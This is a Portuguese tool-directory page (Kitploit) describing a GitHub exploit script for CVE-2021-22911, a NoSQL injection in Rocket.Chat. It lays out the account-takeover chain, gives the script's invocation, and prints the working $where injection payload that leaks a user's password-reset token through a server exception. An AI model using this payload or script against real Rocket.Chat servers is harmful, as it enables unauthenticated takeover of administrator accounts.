Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
RocketChat-NoSQLi-Chain-CVE-2021-22911 — Exploit automatizado para injeção NoSQL no Rocket.Chat (CVE-2021-22911) que vaza tokens de redefinição de senha e realiza tomada de conta sem autenticação. | Kitploit
Ferramentas/GitHubGitHub/tenebrae93/rocketchat-nosqli-chain-cve-2021-22911
Ataques de SenhaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoRed Teaming
GitHubtenebrae93/rocketchat-nosqli-chain-cve-2021-22911

RocketChat-NoSQLi-Chain-CVE-2021-22911

Exploit automatizado para injeção NoSQL no Rocket.Chat (CVE-2021-22911) que vaza tokens de redefinição de senha e realiza tomada de conta sem autenticação.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
25há 7 mesesAinda não revisado

Rocket.Chat Vazamento de Token NoSQLi e Redefinição de Senha

Um script de exploração automatizado para o Rocket.Chat (e aplicações baseadas em Meteor) que aproveita uma Injeção NoSQL através da cláusula $where para vazar tokens de redefinição de senha por meio de exceções do servidor. Uma vez que o token é vazado, o script realiza uma redefinição de senha não autenticada.

Visão Geral da Vulnerabilidade

  1. Autenticação: O script autentica como um usuário padrão para obter acesso ao endpoint /api/v1/users.list.

  2. Injeção NoSQL: Utiliza o parâmetro query para injetar uma cláusula JavaScript $where.

  3. Exfiltração de Dados: Ao usar a instrução throw dentro da injeção, força o servidor a retornar um erro de "exceção não capturada" contendo o token de redefinição de senha do usuário alvo.

  4. Assunção de Conta: O script usa o token vazado para chamar resetPassword, alterando a senha da conta alvo.

Uso

Pré-requisitos

  • Python 3.x

  • Biblioteca requests

Bash

pip install requests

Execução

Bash

python3 exploit.py --url http://<TARGET_IP>:3000\
                   -u <YOUR_USER>\
                   -p <YOUR_PASS>\
                   -a <TARGET_ADMIN_USER>\
                   -ap <NEW_ADMIN_PASSWORD>

Argumentos da Linha de Comando

ArgumentoBandeira LongaDescrição
-u--userSeu nome de usuário ou email válido para autenticação inicial.
-p--passwordSua senha válida.
-a--adminO nome de usuário da conta que você deseja redefinir.
-ap--admin-passA nova senha a ser definida para a conta de administrador.
--urlA URL base da instância do Rocket.Chat.

Detalhe da Cadeia de Exploração

O núcleo da exploração é a string de injeção:

JavaScript

{"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

Quando processada pelo servidor, o mecanismo do banco de dados executa a função anônima, falha no throw, e a aplicação captura a exceção, inadvertidamente passando o token secreto de volta para o usuário na resposta de erro JSON.

Baixar ferramenta